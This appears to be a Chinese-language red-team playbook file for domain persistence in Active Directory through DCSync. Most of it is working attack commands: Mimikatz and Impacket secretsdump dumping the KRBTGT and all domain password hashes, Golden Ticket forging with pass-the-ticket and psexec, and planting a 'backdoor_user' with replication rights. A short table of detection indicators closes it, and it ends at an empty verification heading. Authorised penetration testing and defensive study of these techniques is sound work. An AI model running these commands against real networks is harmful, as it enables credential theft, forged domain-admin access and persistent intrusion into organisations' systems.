| name | conducting-domain-persistence-with-dcsync |
| description | 执行 DCSync 攻击以复制活动目录(Active Directory)凭据,通过提取 KRBTGT、域管理员和服务账户哈希来建立域持久化,并用于创建黄金票据(Golden Ticket)。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","dcsync","persistence","credential-dumping","golden-ticket","mimikatz"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 DCSync 实施域持久化
概述
DCSync 是一种攻击技术,它滥用微软目录复制服务远程协议(MS-DRSR)来模拟域控制器(Domain Controller)并向目标 DC 请求密码数据。该攻击由 Benjamin Delpy(Mimikatz 作者)和 Vincent Le Toux 引入,利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。任何拥有这些权限的主体(用户或计算机)都可以复制域中任何账户(包括 KRBTGT 账户)的密码哈希。有了 KRBTGT 哈希,攻击者可以伪造黄金票据(Golden Ticket)实现无限期域持久化。DCSync 被归类为 MITRE ATT&CK T1003.006,是 APT 组织(包括 APT28(Fancy Bear)、APT29(Cozy Bear)和 FIN6)使用的关键后渗透技术。
目标
- 识别活动目录中具有 DCSync(复制)权限的账户
- 使用 Mimikatz 或 Impacket 的 secretsdump.py 执行 DCSync
- 提取 KRBTGT 账户哈希用于黄金票据创建
- 转储所有域用户密码哈希用于凭据分析
- 伪造黄金票据实现持久化域访问
- 向受控账户授予 DCSync 权限以实现替代持久化
- 记录攻击链和持久化机制
MITRE ATT&CK 映射
- T1003.006 - 操作系统凭据转储:DCSync
- T1558.001 - 窃取或伪造 Kerberos 票据:黄金票据
- T1222.001 - 文件和目录权限修改:Windows
- T1098 - 账户操控
- T1078.002 - 有效账户:域账户
实施步骤
阶段一:识别具有 DCSync 权限的账户
- 枚举具有复制权限的主体:
# 使用 PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# 使用 BloodHound Cypher 查询
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
- 使用 Impacket 的 FindDelegation 或自定义 LDAP 查询:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
- 默认具有 DCSync 权限的账户:
- Domain Admins
- Enterprise Admins
- Domain Controllers 组
- 域控制器上的 SYSTEM
阶段二:DCSync 凭据提取
- 使用 Mimikatz(Windows):
# 转储特定账户(KRBTGT 用于黄金票据)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# 转储域管理员
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# 转储所有域账户
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
- 使用 Impacket secretsdump.py(Linux):
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
阶段三:黄金票据创建
- 使用 Mimikatz 和提取的 KRBTGT 哈希:
# 创建黄金票据
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# 创建具有特定组成员资格的票据
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
- 使用 Impacket ticketer.py(Linux):
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
阶段四:通过 DCSync 权限实现持久化
- 向受控账户授予 DCSync 权限以实现持久化:
# 使用 PowerView - 添加 DS-Replication-Get-Changes-All 权限
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# 验证权限已添加
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
- 使用 ntlmrelayx.py 自动提升 DCSync 权限:
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
工具与资源
| 工具 | 用途 | 平台 |
|---|
| Mimikatz | DCSync 提取、黄金票据创建 | Windows |
| secretsdump.py | 远程 DCSync(Impacket) | Linux(Python) |
| ticketer.py | 黄金票据创建(Impacket) | Linux(Python) |
| PowerView | ACL 枚举和修改 | Windows(PowerShell) |
| Rubeus | Kerberos 票据操控 | Windows(.NET) |
| ntlmrelayx.py | 通过中继提升 DCSync 权限 | Linux(Python) |
需提取的关键哈希
| 账户 | 用途 | 持久化价值 |
|---|
| krbtgt | 黄金票据创建 | 无限期域访问 |
| Administrator | 直接 DA 访问 | 即时特权访问 |
| 服务账户 | 横向移动 | 跨域服务访问 |
| 计算机账户 | 银票据(Silver Ticket)创建 | 服务级模拟 |
检测特征
| 指标 | 检测方法 |
|---|
| 来自非 DC 源的 DrsGetNCChanges RPC 调用 | 监控来自异常 IP 的 DRSUAPI 流量 |
| 含复制目录更改 GUID 的事件 4662 | DC 上的 Windows 安全日志(1131f6aa-/1131f6ad- GUID) |
| 含黄金票据异常的事件 4624 | 登录事件中存在不可能的 SID 或不存在的用户 |
| 域根对象上的 ACL 修改 | 事件 5136(目录服务更改) |
| 复制流量量突增 | 网络基线偏差监控 |
验证标准